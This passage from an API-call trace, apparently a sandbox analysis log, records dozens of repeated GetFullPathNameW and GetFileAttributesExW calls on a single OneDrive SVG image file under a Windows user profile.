lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.810] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.811] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.811] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.811] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.812] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.812] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.812] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.812] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.813] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.813] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.813] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.813] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.814] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.814] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.814] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.815] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.815] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.815] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.815] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.816] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.816] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.816] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.817] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.817] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.817] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.817] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.818] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.818] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.818] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.818] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.819] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.819] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.819] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.820] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.820] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.820] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.820] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.821] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.821] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.821] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.821] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.822] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.822] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.822] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.824] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.824] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.824] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.824] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.825] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.825] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.825] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.825] GetFileAttributesExW (in: 